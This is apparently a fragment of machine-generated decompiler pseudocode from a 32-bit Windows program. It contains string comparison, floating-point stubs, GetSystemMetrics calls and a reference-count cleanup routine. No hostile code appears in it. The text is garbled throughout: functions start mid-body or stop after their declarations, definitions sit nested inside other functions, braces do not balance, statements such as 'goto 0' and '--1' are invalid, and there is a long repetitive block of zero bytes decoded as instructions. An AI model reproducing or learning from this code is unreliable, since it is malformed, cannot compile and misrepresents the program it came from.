++edi6;
if (ah8 >= 65 && ah8 <= 90) {
ah8 = reinterpret_cast<unsigned char>(ah8 + 32);
}
if (al9 >= 65 && al9 <= 90) {
al9 = reinterpret_cast<unsigned char>(al9 + 32);
}
cf10 = ah8 < al9;
if (ah8 != al9)
goto addr_40af01_11;
--ecx7;
} while (ecx7);
ecx4 = 0;
cf10 = ah8 < al9;
if (ah8 == al9) {
addr_40af0a_2:
return ecx4;
} else {
addr_40af01_11:
ecx4 = -1;
if (!cf10) {
ecx4 = --1;
goto addr_40af0a_2;
}
}
}
void fun_40b504() {
__asm__("fstp st0");
}
void fun_40b268() {
int32_t ebp1;
__asm__("fstp st0");
__asm__("fstp st0");
__asm__("fld tword [0x4122c0]");
*reinterpret_cast<signed char*>(ebp1 - 0x90) = 2;
return;
}
void fun_40b50b() {
signed char ch1;
__asm__("fstp st0");
__asm__("fstp st0");
__asm__("fldz ");
if (ch1) {
__asm__("fchs ");
}
return;
}
void fun_40b32f() {
int32_t ebp1;
__asm__("fstp st0");
__asm__("fstp st0");
__asm__("fld tword [0x4122c0]");
*reinterpret_cast<signed char*>(ebp1 - 0x90) = 3;
return;
}
void fun_40d378() {
signed char* eax1;
signed char* eax2;
signed char al3;
signed char* eax4;
signed char* eax5;
signed char al6;
signed char* eax7;
signed char* eax8;
signed char al9;
signed char* eax10;
signed char* eax11;
signed char al12;
signed char* eax13;
signed char* eax14;
signed char al15;
signed char* eax16;
signed char* eax17;
signed char al18;
signed char* eax19;
signed char* eax20;
signed char al21;
signed char* eax22;
signed char* eax23;
signed char al24;
signed char* eax25;
signed char* eax26;
signed char al27;
signed char* eax28;
signed char* eax29;
signed char al30;
signed char* eax31;
signed char* eax32;
signed char al33;
signed char* eax34;
signed char* eax35;
signed char al36;
signed char* eax37;
signed char* eax38;
signed char al39;
signed char* eax40;
signed char* eax41;
signed char al42;
signed char* eax43;
signed char* eax44;
signed char al45;
signed char* eax46;
signed char* eax47;
signed char al48;
signed char* eax49;
signed char* eax50;
signed char al51;
signed char* eax52;
signed char* eax53;
signed char al54;
signed char* eax55;
signed char* eax56;
signed char al57;
signed char* eax58;
signed char* eax59;
signed char al60;
signed char* eax61;
signed char* eax62;
signed char al63;
signed char* eax64;
signed char* eax65;
signed char al66;
signed char* eax67;
signed char* eax68;
signed char al69;
signed char* eax70;
signed char* eax71;
signed char al72;
signed char* eax73;
signed char* eax74;
signed char al75;
signed char* eax76;
signed char* eax77;
signed char al78;
signed char* eax79;
signed char* eax80;
signed char al81;
signed char* eax82;
signed char* eax83;
signed char al84;
signed char* eax85;
signed char* eax86;
signed char al87;
signed char* eax88;
signed char* eax89;
signed char al90;
signed char* eax91;
signed char* eax92;
signed char al93;
signed char* eax94;
signed char* eax95;
signed char al96;
signed char* eax97;
signed char* eax98;
signed char al99;
signed char* eax100;
signed char* eax101;
signed char al102;
signed char* eax103;
signed char* eax104;
signed char al105;
signed char* eax106;
signed char* eax107;
signed char al108;
signed char* eax109;
signed char* eax110;
signed char al111;
signed char* eax112;
signed char* eax113;
signed char al114;
signed char* eax115;
signed char* eax116;
signed char al117;
signed char* eax118;
signed char* eax119;
signed char al120;
signed char* eax121;
signed char* eax122;
signed char al123;
signed char* eax124;
signed char* eax125;
signed char al126;
signed char* eax127;
signed char* eax128;
signed char al129;
signed char* eax130;
signed char* eax131;
signed char al132;
signed char* eax133;
signed char* eax134;
signed char al135;
signed char* eax136;
signed char* eax137;
signed char al138;
signed char* eax139;
signed char* eax140;
signed char al141;
signed char* eax142;
signed char* eax143;
signed char al144;
signed char* eax145;
signed char* eax146;
signed char al147;
signed char* eax148;
signed char* eax149;
signed char al150;
signed char* eax151;
signed char* eax152;
signed char al153;
signed char* eax154;
signed char* eax155;
signed char al156;
signed char* eax157;
signed char* eax158;
signed char al159;
signed char* eax160;
signed char* eax161;
signed char al162;
signed char* eax163;
signed char* eax164;
signed char al165;
signed char* eax166;
signed char* eax167;
signed char al168;
signed char* eax169;
signed char* eax170;
signed char al171;
signed char* eax172;
signed char* eax173;
signed char al174;
signed char* eax175;
signed char* eax176;
signed char al177;
signed char* eax178;
signed char* eax179;
signed char al180;
signed char* eax181;
signed char* eax182;
signed char al183;
signed char* eax184;
signed char* eax185;
signed char al186;
signed char* eax187;
signed char* eax188;
signed char al189;
signed char* eax190;
signed char* eax191;
signed char al192;
signed char* eax193;
signed char* eax194;
signed char al195;
signed char* eax196;
signed char* eax197;
signed char al198;
signed char* eax199;
signed char* eax200;
signed char al201;
signed char* eax202;
signed char* eax203;
signed char al204;
*eax1 = reinterpret_cast<signed char>(*eax2 + al3);
*eax4 = reinterpret_cast<signed char>(*eax5 + al6);
*eax7 = reinterpret_cast<signed char>(*eax8 + al9);
*eax10 = reinterpret_cast<signed char>(*eax11 + al12);
*eax13 = reinterpret_cast<signed char>(*eax14 + al15);
*eax16 = reinterpret_cast<signed char>(*eax17 + al18);
*eax19 = reinterpret_cast<signed char>(*eax20 + al21);
*eax22 = reinterpret_cast<signed char>(*eax23 + al24);
*eax25 = reinterpret_cast<signed char>(*eax26 + al27);
*eax28 = reinterpret_cast<signed char>(*eax29 + al30);
*eax31 = reinterpret_cast<signed char>(*eax32 + al33);
*eax34 = reinterpret_cast<signed char>(*eax35 + al36);
*eax37 = reinterpret_cast<signed char>(*eax38 + al39);
*eax40 = reinterpret_cast<signed char>(*eax41 + al42);
*eax43 = reinterpret_cast<signed char>(*eax44 + al45);
*eax46 = reinterpret_cast<signed char>(*eax47 + al48);
*eax49 = reinterpret_cast<signed char>(*eax50 + al51);
*eax52 = reinterpret_cast<signed char>(*eax53 + al54);
*eax55 = reinterpret_cast<signed char>(*eax56 + al57);
*eax58 = reinterpret_cast<signed char>(*eax59 + al60);
*eax61 = reinterpret_cast<signed char>(*eax62 + al63);
*eax64 = reinterpret_cast<signed char>(*eax65 + al66);
*eax67 = reinterpret_cast<signed char>(*eax68 + al69);
*eax70 = reinterpret_cast<signed char>(*eax71 + al72);
*eax73 = reinterpret_cast<signed char>(*eax74 + al75);
*eax76 = reinterpret_cast<signed char>(*eax77 + al78);
*eax79 = reinterpret_cast<signed char>(*eax80 + al81);
*eax82 = reinterpret_cast<signed char>(*eax83 + al84);
*eax85 = reinterpret_cast<signed char>(*eax86 + al87);
*eax88 = reinterpret_cast<signed char>(*eax89 + al90);
*eax91 = reinterpret_cast<signed char>(*eax92 + al93);
*eax94 = reinterpret_cast<signed char>(*eax95 + al96);
*eax97 = reinterpret_cast<signed char>(*eax98 + al99);
*eax100 = reinterpret_cast<signed char>(*eax101 + al102);
*eax103 = reinterpret_cast<signed char>(*eax104 + al105);
*eax106 = reinterpret_cast<signed char>(*eax107 + al108);
*eax109 = reinterpret_cast<signed char>(*eax110 + al111);
*eax112 = reinterpret_cast<signed char>(*eax113 + al114);
*eax115 = reinterpret_cast<signed char>(*eax116 + al117);
*eax118 = reinterpret_cast<signed char>(*eax119 + al120);
*eax121 = reinterpret_cast<signed char>(*eax122 + al123);
*eax124 = reinterpret_cast<signed char>(*eax125 + al126);
*eax127 = reinterpret_cast<signed char>(*eax128 + al129);
*eax130 = reinterpret_cast<signed char>(*eax131 + al132);
*eax133 = reinterpret_cast<signed char>(*eax134 + al135);
*eax136 = reinterpret_cast<signed char>(*eax137 + al138);
*eax139 = reinterpret_cast<signed char>(*eax140 + al141);
*eax142 = reinterpret_cast<signed char>(*eax143 + al144);
*eax145 = reinterpret_cast<signed char>(*eax146 + al147);
*eax148 = reinterpret_cast<signed char>(*eax149 + al150);
*eax151 = reinterpret_cast<signed char>(*eax152 + al153);
*eax154 = reinterpret_cast<signed char>(*eax155 + al156);
*eax157 = reinterpret_cast<signed char>(*eax158 + al159);
*eax160 = reinterpret_cast<signed char>(*eax161 + al162);
*eax163 = reinterpret_cast<signed char>(*eax164 + al165);
*eax166 = reinterpret_cast<signed char>(*eax167 + al168);
*eax169 = reinterpret_cast<signed char>(*eax170 + al171);
*eax172 = reinterpret_cast<signed char>(*eax173 + al174);
*eax175 = reinterpret_cast<signed char>(*eax176 + al177);
*eax178 = reinterpret_cast<signed char>(*eax179 + al180);
*eax181 = reinterpret_cast<signed char>(*eax182 + al183);
*eax184 = reinterpret_cast<signed char>(*eax185 + al186);
*eax187 = reinterpret_cast<signed char>(*eax188 + al189);
*eax190 = reinterpret_cast<signed char>(*eax191 + al192);
*eax193 = reinterpret_cast<signed char>(*eax194 + al195);
*eax196 = reinterpret_cast<signed char>(*eax197 + al198);
*eax199 = reinterpret_cast<signed char>(*eax200 + al201);
*eax202 = reinterpret_cast<signed char>(*eax203 + al204);
}
void fun_401040() {
GetSystemMetrics();
goto 0;
}
fun_405abc(ecx, 0x416dd0);
eax2 = fun_405abc(ecx, 0x416ddc);
*reinterpret_cast<signed char*>(&eax2) = 1;
return eax2;
}
void fun_4057c9() {
}
void fun_405778() {
}
void fun_40b6e9() {
uint32_t v1;
int16_t ax2;
int16_t fpu_status_word3;
void fun_40b27a() {
int32_t ebp1;
int16_t fpu_status_word2;
int32_t ebp3;
__asm__("fldln2 ");
__asm__("fxch st0, st1");
__asm__("ftst ");
__asm__("wait ");
*reinterpret_cast<int16_t*>(ebp1 - 0xa0) = fpu_status_word2;
__asm__("wait ");
if (*reinterpret_cast<unsigned char*>(ebp3 - 0x9f) & 65)
goto 0x40b263;
__asm__("fyl2x ");
return;
}
void fun_401050() {
GetSystemMetrics();
goto 1;
}
void** fun_405b49(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7) {
void** eax8;
void fun_4089d0() {
}
void** g417268;
void** g41726c;
void** g416ee8;
void** fun_405b97(uint32_t ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13) {
void** v14;
void** ecx15;
void** v16;
void** esi17;
void** eax18;
void** v19;
void** v20;
void** v21;
void** v22;
void** eax23;
v14 = reinterpret_cast<void**>(__return_address());
ecx15 = reinterpret_cast<void**>(0xffffffff);
v16 = esi17;
__asm__("lock xadd [eax], ecx");
if (!1 && (eax18 = image_base_, eax18 != 0x416358)) {
fun_406c46(0xffffffff, eax18, v16, v14, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13);
ecx15 = eax18;
image_base_ = reinterpret_cast<void**>(0x416358);
}
v19 = g417268;
fun_406c46(ecx15, v19, v16, v14, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13);
v20 = g41726c;
g417268 = reinterpret_cast<void**>(0);
fun_406c46(ecx15, v20, v19, v16, v14, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
v21 = g416ee8;
g41726c = reinterpret_cast<void**>(0);
fun_406c46(ecx15, v21, v20, v19, v16, v14, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11);
v22 = g416eec;
g416ee8 = reinterpret_cast<void**>(0);
eax23 = fun_406c46(ecx15, v22, v21, v20, v19, v16, v14, a2, a3, a4, a5, a6, a7, a8, a9, a10);
g416eec = reinterpret_cast<void**>(0);
*reinterpret_cast<signed char*>(&eax23) = 1;
return eax23;
}